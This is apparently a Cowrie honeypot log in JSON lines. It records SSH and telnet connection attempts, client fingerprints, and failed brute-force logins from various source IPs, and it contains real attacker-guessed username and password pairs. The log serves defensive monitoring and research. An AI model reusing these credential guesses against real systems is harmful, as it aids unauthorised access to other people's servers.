{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:0b:f7:fe:a7:25:d7:c9:57:34:c8:7c:38:35:e3:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA75Q5a+SPoqzHeQFXnNJXTS+CJRKt4tu88iYlJAI/2zxS8rANF3qU0npy4x0S0Ou+kgqRcr8uBcSs0SrlfGNn5pcIqCgi5V8+HkSOq7tkJNEC3QG7/9gqfPrwlYsTwRzFYgn8/NvYJZOeK1vDHUDpE7HuF0YskErewjrP/2fm4kDhTaZgYZzwb0Lll3/EJc9f1oN+5prUbvZW/e8epCiRIrj17SZFwUBmwk2WKPn/yFBUYwjsdjsbkg6aoXGouc4nEFzXxpwySLCrigxoNXOjQaqAm0qXCI3jjl0r0N+J3w7zE8sZmOcltZCppMFICCfX7vk0eVGwye855clukA28JQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:0b:f7:fe:a7:25:d7:c9:57:34:c8:7c:38:35:e3:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:37.571125Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:0b:f7:fe:a7:25:d7:c9:57:34:c8:7c:38:35:e3:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA75Q5a+SPoqzHeQFXnNJXTS+CJRKt4tu88iYlJAI/2zxS8rANF3qU0npy4x0S0Ou+kgqRcr8uBcSs0SrlfGNn5pcIqCgi5V8+HkSOq7tkJNEC3QG7/9gqfPrwlYsTwRzFYgn8/NvYJZOeK1vDHUDpE7HuF0YskErewjrP/2fm4kDhTaZgYZzwb0Lll3/EJc9f1oN+5prUbvZW/e8epCiRIrj17SZFwUBmwk2WKPn/yFBUYwjsdjsbkg6aoXGouc4nEFzXxpwySLCrigxoNXOjQaqAm0qXCI3jjl0r0N+J3w7zE8sZmOcltZCppMFICCfX7vk0eVGwye855clukA28JQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:37.573715Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:37.763986Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44912,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ed414e6d1d4","protocol":"telnet","message":"New connection: 170.64.224.25:44912 (159.203.135.109:23) [session: 8ed414e6d1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:37.827975Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":58064,"dst_ip":"159.203.135.109","dst_port":22,"session":"54253ce7609e","protocol":"ssh","message":"New connection: 162.144.64.128:58064 (159.203.135.109:22) [session: 54253ce7609e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:42.291149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:42.295098Z","src_ip":"162.144.64.128","session":"54253ce7609e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:42.376900Z","src_ip":"162.144.64.128","session":"54253ce7609e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asc3nd3x!M@st3r#P@ss","message":"login attempt [root/Asc3nd3x!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:42.622631Z","src_ip":"162.144.64.128","session":"54253ce7609e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:45.701929Z","src_ip":"162.144.64.128","session":"54253ce7609e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.52631068229675,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:45.918967Z","src_ip":"183.91.11.226","session":"3527565d566d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":60058,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa819478ce47","protocol":"ssh","message":"New connection: 201.222.20.20:60058 (10.17.0.5:22) [session: aa819478ce47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:45.933264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:45.936904Z","src_ip":"201.222.20.20","session":"aa819478ce47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:46.053173Z","src_ip":"201.222.20.20","session":"aa819478ce47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Paris2026","message":"login attempt [root/Paris2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:46.555271Z","src_ip":"201.222.20.20","session":"aa819478ce47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:47.675159Z","src_ip":"201.222.20.20","session":"aa819478ce47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43364,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b9ab80a17c2","protocol":"ssh","message":"New connection: 103.153.68.219:43364 (10.17.0.5:22) [session: 0b9ab80a17c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:52.668059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:52.671781Z","src_ip":"103.153.68.219","session":"0b9ab80a17c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:52.916479Z","src_ip":"103.153.68.219","session":"0b9ab80a17c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3e4r5t6y","message":"login attempt [root/3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:53.651586Z","src_ip":"103.153.68.219","session":"0b9ab80a17c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:54.899130Z","src_ip":"103.153.68.219","session":"0b9ab80a17c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52382,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6bebde16229","protocol":"ssh","message":"New connection: 8.210.75.243:52382 (10.17.0.5:22) [session: a6bebde16229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:11.591948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:11.654595Z","src_ip":"8.210.75.243","session":"a6bebde16229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.19064712524414,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:19.018490Z","src_ip":"170.64.224.25","session":"8ed414e6d1d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":35346,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e3dbe6253b0","protocol":"ssh","message":"New connection: 91.92.40.4:35346 (10.17.0.5:22) [session: 7e3dbe6253b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:19.497529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:19.501058Z","src_ip":"91.92.40.4","session":"7e3dbe6253b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:19.581181Z","src_ip":"91.92.40.4","session":"7e3dbe6253b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"q1w2e3r4","message":"login attempt [hadoop/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:19.825008Z","src_ip":"91.92.40.4","session":"7e3dbe6253b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:20.908367Z","src_ip":"91.92.40.4","session":"7e3dbe6253b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.152.168.184","src_port":35136,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cca2ce165aa","protocol":"ssh","message":"New connection: 59.152.168.184:35136 (159.203.135.109:22) [session: 2cca2ce165aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:23.488261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:23.491943Z","src_ip":"59.152.168.184","session":"2cca2ce165aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:23.693005Z","src_ip":"59.152.168.184","session":"2cca2ce165aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:24.524311Z","src_ip":"59.152.168.184","session":"2cca2ce165aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:25.725607Z","src_ip":"59.152.168.184","session":"2cca2ce165aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.6904067993164,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:30.062760Z","src_ip":"137.184.5.188","session":"7d896c90cc85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":49154,"dst_ip":"159.203.135.109","dst_port":22,"session":"0294e0e56038","protocol":"ssh","message":"New connection: 67.231.24.5:49154 (159.203.135.109:22) [session: 0294e0e56038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:31.635480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:31.638961Z","src_ip":"67.231.24.5","session":"0294e0e56038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:31.655433Z","src_ip":"67.231.24.5","session":"0294e0e56038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":39560,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd724f64570b","protocol":"ssh","message":"New connection: 165.227.170.113:39560 (10.17.0.5:22) [session: bd724f64570b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:31.663195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:31.671498Z","src_ip":"165.227.170.113","session":"bd724f64570b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cexio123","message":"login attempt [root/cexio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:31.706893Z","src_ip":"67.231.24.5","session":"0294e0e56038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:31.752292Z","src_ip":"165.227.170.113","session":"bd724f64570b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse@2024","message":"login attempt [lighthouse/lighthouse@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:32.107051Z","src_ip":"165.227.170.113","session":"bd724f64570b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:32.726032Z","src_ip":"67.231.24.5","session":"0294e0e56038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:33.195635Z","src_ip":"165.227.170.113","session":"bd724f64570b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":41184,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5b3fadcb903","protocol":"ssh","message":"New connection: 119.203.251.187:41184 (10.17.0.5:22) [session: d5b3fadcb903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:18:38.478394Z"}
